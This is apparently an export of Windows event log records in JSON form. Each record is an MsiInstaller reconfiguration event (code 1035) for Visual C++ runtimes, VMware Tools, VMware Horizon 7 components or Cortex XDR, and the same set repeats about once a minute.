{"@timestamp":1657388470584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169208}}
{"@timestamp":1657388530060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169209}}
{"@timestamp":1657388530089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169210}}
{"@timestamp":1657388530140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169211}}
{"@timestamp":1657388530180,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169212}}
{"@timestamp":1657388530207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169213}}
{"@timestamp":1657388530237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169214}}
{"@timestamp":1657388530265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169215}}
{"@timestamp":1657388530292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169216}}
{"@timestamp":1657388530328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169217}}
{"@timestamp":1657388530355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169218}}
{"@timestamp":1657388590157,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169219}}
{"@timestamp":1657388590184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169220}}
{"@timestamp":1657388590236,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169221}}
{"@timestamp":1657388590277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169222}}
{"@timestamp":1657388590306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169223}}
{"@timestamp":1657388590337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169224}}
{"@timestamp":1657388590364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169225}}
{"@timestamp":1657388590391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169226}}
{"@timestamp":1657388590426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169227}}
{"@timestamp":1657388590454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169228}}
{"@timestamp":1657388650143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169229}}
{"@timestamp":1657388650171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169230}}
{"@timestamp":1657388650222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169231}}
{"@timestamp":1657388650262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169232}}
{"@timestamp":1657388650293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169233}}
{"@timestamp":1657388650324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169234}}
{"@timestamp":1657388650353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169235}}
{"@timestamp":1657388650380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169236}}
{"@timestamp":1657388650417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169237}}
{"@timestamp":1657388650444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169238}}
{"@timestamp":1657388710113,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169239}}
{"@timestamp":1657388710139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169240}}
{"@timestamp":1657388710193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169241}}
{"@timestamp":1657388710234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169242}}
{"@timestamp":1657388710262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169243}}
{"@timestamp":1657388710293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169244}}
{"@timestamp":1657388710319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169245}}
{"@timestamp":1657388710345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169246}}
{"@timestamp":1657388710382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169247}}
{"@timestamp":1657388710410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169248}}
{"@timestamp":1657388770241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169249}}
{"@timestamp":1657388770257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169250}}
{"@timestamp":1657388770319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169251}}
{"@timestamp":1657388770350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169252}}
{"@timestamp":1657388770381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169253}}
{"@timestamp":1657388770413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169254}}
{"@timestamp":1657388770444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169255}}
{"@timestamp":1657388770459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169256}}
{"@timestamp":1657388770506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169257}}
{"@timestamp":1657388770522,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169258}}
{"@timestamp":1657388850707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169259}}
{"@timestamp":1657388850738,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169260}}
{"@timestamp":1657388850800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169261}}
{"@timestamp":1657388850832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169262}}
{"@timestamp":1657388850878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169263}}
{"@timestamp":1657388850910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169264}}
{"@timestamp":1657388850941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169265}}
{"@timestamp":1657388850972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169266}}
{"@timestamp":1657388851019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169267}}
{"@timestamp":1657388851050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169268}}
{"@timestamp":1657388919252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169269}}
{"@timestamp":1657388919516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169270}}
{"@timestamp":1657388919747,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169271}}
{"@timestamp":1657388920325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169272}}
{"@timestamp":1657388920365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169273}}
